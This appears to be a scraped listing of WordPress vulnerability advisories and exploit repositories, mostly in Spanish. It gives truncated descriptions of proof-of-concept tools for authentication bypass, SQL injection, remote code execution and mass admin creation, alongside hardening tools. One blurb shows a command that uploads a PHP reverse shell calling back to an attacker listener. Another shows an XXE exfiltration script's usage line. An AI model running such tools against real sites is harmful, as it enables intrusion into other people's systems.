EUVD-2026-91769

The All in One SEO WordPress plugin before 5.0.2.1 does not correctly determine which shortcodes are present in content derived from user input before deciding which ones to strip, allowing unauthenticated users to execute arbitrary shortcodes registered on the site. On sites upgraded from older...

EUVD-2014-9822

CodeArt Google MP3 Audio Player plugin google-mp3-audio-player for WordPress through 1.0.11 contains an unauthenticated arbitrary file read vulnerability that allows remote attackers to retrieve sensitive files by supplying a path-traversal payload in the file parameter of directdownload.php...

CVE-2026-54806

WP Activity Log Inyección de Objetos PHP CVE-2026-54806 PoC 📜 Descripción CVE-2026-54806 es una vulnerabilidad crítica CVSS 9.8 de inyección de objetos PHP sin autenticar en el plugin WP Activity Log de WordPress wp-security-audit-log de Melapress. Un atacante no autenticado puede inyectar objeto...

CVE-2024-9822

CVE-2024-9822 Pedalo Connector = 2.0.5 - Omisión de autenticación a Administrador Descripción El plugin Pedalo Connector para WordPress es vulnerable a la omisión de autenticación en versiones hasta la 2.0.5 inclusive. Esto se debe a una restricción insuficiente en la función 'loginadminuser'. Es...

wpx

█ █░ ██▓███ ▒██ ██▒ ██▀███ ▄▄▄ ▓██ ██▓ ▓█░ █ ░█░▓██░ ██▒ ▒▒ █ █ ▒░▓██ ▒ ██▒▒████▄ ▒██ ██▒ ▒█░ █ ░█ ▓██░ ██▓▒ ░░ █ ░▓██ ░▄█ ▒▒██ ▀█▄ ▒██ ██░ ░█░ █ ░█ ▒██▄█▓▒ ▒ ░ █ █ ▒ ▒██▀▀█▄ ░██▄▄▄▄██ ░ ▐██▓░ ░░██▒██▓ ▒██▒ ░ ░ ▒██▒ ▒██▒░██▓ ▒██▒ ▓█ ▓██▒ ░ ██▒▓░ ░ ▓░▒ ▒ ▒▓▒░ ░ ░ ▒▒ ░ ░▓ ░░ ▒▓ ░▒▓░ ▒▒ ▓▒█░ ██▒▒▒ ▒...

wphardening

WPHardening Fortify the security of any WordPress installation. ❮ NOTE ❯ This tool releases new versions on a regular basis. Make sure to update your dependencies frequently to get the latest version. Check out the changelog or CHANGELOG.md to learn about the new features. Installation Installing...

wphardening

WPHardening Fortalezca la seguridad de cualquier instalación de WordPress. ❮ NOTA ❯ Esta herramienta publica nuevas versiones de forma regular. Asegúrese de actualizar sus dependencias con frecuencia para obtener la última versión. Consulte el registro de cambios o CHANGELOG.md para conocer las...

CVE-2024-9106

CVE-2024-9106 Wechat Social login = 1.3.0 - Omisión de autenticación Descripción: El plugin Wechat Social login para WordPress es vulnerable a omisión de autenticación en versiones hasta la 1.3.0 inclusive. Esto se debe a una verificación insuficiente del usuario suministrado durante el inicio de...

WP2Shell

WP2Shell - Exploit de RCE Pre-Auth de WordPress CVE-2026-63030 + CVE-2026-60137 Versión: 4.0.0 Autor: G0D150NE 📌 Descripción general WP2Shell es una herramienta de explotación de cadena completa para la ejecución remota de código pre-autenticación en WordPress. Combina dos vulnerabilidades...

CVE-2023-4596

CVE-2023-4596 Script PoC para CVE-2023-4596, ejecución remota de comandos no autenticada mediante subida de archivos arbitrarios. Vídeo del PoC en uso Plantilla de Nuclei Artículo de noticias WordFence NVD Nist Resumen Se ha descubierto una vulnerabilidad crítica en el plugin de WordPress...

CVE-2025-5287

🔥 WordPress Likes and Dislikes Plugin ≤ 1.0.0 - Inyección SQL sin autenticación 🧠 ID de CVE: CVE-2025-5287 Descubierto por: KhaledAlenazi Nxploited Publicado el: 27 de mayo de 2025 📋 Descripción El plugin Likes and Dislikes para WordPress es vulnerable a inyección SQL a través del parámetro post ...

CVE-2025-60188-Atarim-Plugin-Exploit

CVE-2025-60188-Atarim-Plugin-Exploit CVE-2025-60188: Omisión de Autenticación del Plugin Atarim mediante Falsificación HMAC Descripción General Este repositorio contiene una Prueba de Concepto PoC y un análisis técnico para CVE-2025-60188, una vulnerabilidad crítica descubierta en el plugin de...

CVE-2022-3590-WordPress-Vulnerability-Scanner

Escáner de Vulnerabilidad CVE-2022-3590 para WordPress Este script de Python está diseñado para verificar si un sitio web de WordPress es vulnerable a la vulnerabilidad CVE-2022-3590. La vulnerabilidad explota un Server-Side Request Forgery SSRF ciego no autenticado en la funcionalidad pingback d...

CVE-2021-29447-POC

CVE-2021-29447-POC Acerca de Este script automatiza los pasos necesarios para explotar CVE-2021-29447 en la funcionalidad de carga de medios de Wordpress y usarlo para extraer archivos a través de un XXE. Uso ./generatepayloads.py --help usage: generatepayloads.py -h --local-ip LOCALIP --local-po...

cve-2023-40000

cve-2023-40000 Esto es un PoC de cve-2023-40000. Exploit de Wordpress LiteSpeed Cache. El CVE puede aplicarse a todas las versiones de LiteSpeed Cache --------------------+"; echo "+----------------------------------------------------------------------+";...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 subida de shell inversa Exploit para WpDiscuz 7.0.4 basado en el exploit escrito por h3v0x. Explota la vulnerabilidad y sube una shell PHP inversa. La inspiración fue el CTF Blogger. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001...

CVE-2025-39601

🚨 CVE-2025-39601 - CSRF a RCE en el plugin Custom CSS, JS & PHP de WordPress WordPress Custom CSS, JS & PHP plugin CSRF PoC - WordPress Custom CSS, JS & PHP plugin By : Nxploited | Khaled Alenazi form action="http://...

wpbullet

wpBullet A static code analysis for WordPress Plugins/Themes and PHP Installation Simply clone the repository, install requirements and run the script $ git clone https://github.com/webarx-security/wpbullet wpbullet $ cd wpbullet $ pip install -r requirements.txt $ python wpbullet.py Usage...

wpbullet

wpBullet Un análisis estático de código para Plugins/Temas de WordPress y PHP Instalación Simplemente clona el repositorio, instala los requisitos y ejecuta el script $ git clone https://github.com/webarx-security/wpbullet wpbullet $ cd wpbullet $ pip install -r requirements.txt $ python...

CVE-2026-8732-POC

CVE-2026-8732 - Escáner Masivo de WordPress WP Google Map Pro y Creador Automático de Administradores 📌 Descripción Esta herramienta explota CVE-2026-8732 , una vulnerabilidad en el plugin WP Google Map Pro para WordPress. La vulnerabilidad permite a un atacante no autenticado obtener un wpmptoke...